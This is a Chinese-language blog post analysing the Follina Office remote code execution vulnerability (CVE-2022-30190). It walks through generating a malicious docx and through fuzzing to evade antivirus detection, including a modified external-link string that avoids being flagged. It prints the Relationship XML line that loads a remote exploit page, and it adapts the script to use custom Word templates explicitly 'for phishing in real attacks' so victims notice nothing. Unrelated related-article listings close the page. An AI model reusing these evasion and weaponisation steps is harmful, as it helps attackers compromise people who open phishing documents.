CVE-2022-30190 Follina Office RCE分析【附自定义word模板POC】

简介: CVE-2022-30190 Follina Office RCE分析【附自定义word模板POC】

免责声明


本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


文章正文


前两天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 这个漏洞,修改了下chvancooten的脚本,实现可以自定义word模板,便于实战中钓鱼使用,自己编辑好钓鱼word文档后-f参数指定即可。


1、复现

使用https://github.com/chvancooten/follina.py的项目生成恶意word文件,可以实现命令执行,不过腾讯电脑管家、火绒会查杀。


2、分析poc

主要就是两处,一处是改word的word/_rels目录下新添加一个document.xml.rels文件,里面是一个windows.location.href加载远程连接

远程html中放着ms-msdt:/协议写的HTML

最后将文件压缩打包成docx。


3、Fuzz

第一种

分析后可知只是在word的word/_rels修改了document.xml.rels文件

应对实战空文件不行,随便新建一个文件然后添加一些内容,然后解压后将document.xml.rels放入,再压缩回去,发现不会触发。


第二种

生成的clickme.docx 不修改的情况下,可以多次触发,但只要修改就不能触发了

 


第三种

修改document.xml.rels 文件名不行,依然查杀


第四种fuzz内容

查杀的是请求外链,http字样就会查杀

mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html
换成
http://localhost:80/exploit.html!

就可以了

但是实战中要用到自己的word模板,要不然受害者一点开就会觉察到不正常,所以为了贴近实战,修改了脚本,可以自定义word模板。


4、再分析

4.1、word结构和poc分析


word文件结构:

.
├── [Content_Types].xml   // 描述的是整个文档的内容。把各个XML文件组合成一个整体
├── _rels                 // 定义Package(Zip包)和它所直接包含的Part之间的关系。对于一个 Part 来说,如果它依赖其他 Part,那么需要为这个 Part 创建一个目录,并且也有一个 _rels 目录,目录下面会有一个 partname.rels 文件。比如 /word/document.xml 就是很典型的例子
├── docProps              // 记录docx文档的主要属性信息
│   ├── app.xml          // 描述文档的文档类型、版本、只读信息、共享、安全属性等信息
│   └── core.xml         // 描述文档的创建时间、标题、主题和作者等基于Open XML约定文档格式的通用文件属性信息
└── word
    ├── _rels
    │   └── document.xml.rels
    ├── charts
    │   ├── _rels
    │   │   ├── chart1.xml.rels  \\ 映射表存放文件文本框文件的位置
    │   ├── chart1.xml
    │   ├── colors1.xml
    │   ├── colors2.xml
    │   ├── style1.xml
    │   ├── style2.xml
    ├── document.xml    // 文档中所有可见文字的内容和属性及不可见部分的内容和属性
    ├── embeddings
    │   ├── Microsoft_Excel_Worksheet.xlsx
    │   ├── Microsoft_Excel_Worksheet1.xlsx
    │   ├── oleObject1.bin  // OLE是Object Linking and Embedding的缩写,直译为对象连接与嵌入;满足用户在一个文档中加入不同格式数据的需要(如文本、图像、声音等),即解决建立复合文档问题。
    │   ├── oleObject2.bin
    │   ├── oleObject3.bin
    │   ├── oleObject4.bin
    ├── endnotes.xml 
    ├── fontTable.xml    // 文档所使用的字体信息
    ├── footer1.xml
    ├── footer2.xml
    ├── footnotes.xml    // 文档中脚注部分信息
    ├── header1.xml
    ├── header2.xml
    ├── media               // Word中的多媒体文件,如插入的图片、公式对应的wmf文件等
    │   ├── image1.emf
    │   ├── image2.png
    │   ├── image3.jpeg
    │   ├── image4.wmf
    │   ├── image5.emf
    ├── numbering.xml          // Word中的有序列表、无序列表等的信息,定义了列表的样式、序号等信息
    ├── settings.xml           // 文档的总体设置信息
    ├── styles.xml             // Word的样式信息,定义样式的展示优先级以及段落、表格等样式
    ├── theme                  // 文档的主题的所有信息,如颜色、字体大小
    │   ├── theme1.xml
    │   ├── themeOverride1.xml
    │   └── themeOverride2.xml
    └── webSettings.xml        // 文档左右间距等的样式信息

分析word的目录结构,了解到Word/document.xml 是文件的内

[Content_Types].xml存储的是part名称和类型

每一个part是一个xml,part如果引用外部文件就需要在当前目录下创建一个_rels文件夹,下面存放外部引用的rels文件,poc中就是用了document.xml的外部引用。

Poc脚本的模板使用的rid是1337,控制修改在documen.xml中,如下修改改成了1111

然后 document.xml.rels 对应修改成了之后就可以使用了

4.2、关于文件内容

通过了解word的结构后,如果想要文件内容是自定义的,即自创建模板,可以修改document.xml即可

填上如下部分即可

 

然后对应的xxx.xml.rels文件中添加外部引用的一行,注意rid对应即可。


<Relationship Id="rId1111" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://localhost:80/exploit!" TargetMode="External"/>

如下自定义模板,并触发漏洞


4.3、静态免杀

上线测试

最后编写了自定义word模板的脚本:

相关文章
|
前端开发 C#
C# 基于NPOI+Office COM组件 实现20行代码在线预览文档(word,excel,pdf,txt,png)
C# 基于NPOI+Office COM组件 实现20行代码在线预览文档(word,excel,pdf,txt,png)
|
23天前
|
C#
【Azure App Service】使用Microsoft.Office.Interop.Word来操作Word文档,部署到App Service后报错COMException
System.Runtime.InteropServices.COMException (0x80040154): Retrieving the COM class factory for component with CLSID {000209FF-0000-0000-C000-000000000046} failed due to the following error: 80040154 Class not registered (0x80040154 (REGDB_E_CLASSNOTREG)).
|
3月前
|
C# 开发者 Windows
WPF遇上Office:一场关于Word与Excel自动化操作的技术盛宴,从环境搭建到代码实战,看WPF如何玩转文档处理的那些事儿
【8月更文挑战第31天】Windows Presentation Foundation (WPF) 是 .NET Framework 的重要组件,以其强大的图形界面和灵活的数据绑定功能著称。本文通过具体示例代码,介绍如何在 WPF 应用中实现 Word 和 Excel 文档的自动化操作,包括文档的读取、编辑和保存等。首先创建 WPF 项目并设计用户界面,然后在 `MainWindow.xaml.cs` 中编写逻辑代码,利用 `Microsoft.Office.Interop` 命名空间实现 Office 文档的自动化处理。文章还提供了注意事项,帮助开发者避免常见问题。
247 0
|
3月前
【科研技巧】简单的在Office Word 2019中设置页脚的页码从指定页(正文)开始
如何在Microsoft Word 2019中设置页码从指定页面(通常是正文开始页)启动的方法。
127 2
|
3月前
|
iOS开发 MacOS Windows
【Mac 系统】如何在office的Word中使用LaTeX公式
一个在Mac版Microsoft Word中使用LaTeX语法插入公式的间接方法,通过Pages文稿创建和编辑LaTeX公式后再复制到Word中。
261 2
|
5月前
word批量图片导出wps office word 图片批量导出
word批量图片导出wps office word 图片批量导出
93 2
|
6月前
|
Web App开发 JavaScript 前端开发
2024年纯前端VUE在线编辑微软Office/金山WPS的Word/Excel文档
现在,随着数字化进程渗透到到各行各业,数据安全已经成为了数字化革命中的重要组成部分,而在线Office成在OA、ERP、文档系统中得到了广泛的应用,为我国的信息化事业也做出了巨大贡献。随着操作系统、浏览器及Office软件的不断升级和更新换代,加上国家对信息化、数字化系统要求的不断提升,一些厂家的WebOffice控件产品不断被淘汰出局,而现存的几个产品也存在以下几个问题:
717 8
2024年纯前端VUE在线编辑微软Office/金山WPS的Word/Excel文档
|
5月前
|
JavaScript Java Apache
Java--office(word......)在线预览(openoffice+swfTools+FlexPaper)
Java--office(word......)在线预览(openoffice+swfTools+FlexPaper)
347 0
|
6月前
|
前端开发
招投标系统是Electron的纯内网编辑Office Word,可以设置部分区域可编辑,其他的地方不能编辑吗?
我们是招投标系统的开发公司,框架是用的Electron,需要在纯内网的环境下编辑Office Word,可以设置部分区域可编辑,其他的地方不能编辑吗(如下红框位置)?并且在用户忘记填写一些区域的时候做提醒。
118 3
|
11月前
网页编辑Office Word文档,开启修订功能,启用留痕、显示留痕并接受留痕
在日常办公环境场景下,有时候会遇到帮助他人修改文档或者为文档提供修改意见,如果我们在文档中直接修改,其他人很不容易看到我们修改了哪个部分,如果一旦你的修改意见不被采纳,原作者还需要恢复原来的文档,这样为别人带来了更多的工作。 如果用猿大师办公助手在网页中编辑Office Word文档,开启修订功能,启用留痕、显示留痕并接受留痕,就可以很好的来解决此问题。
447 9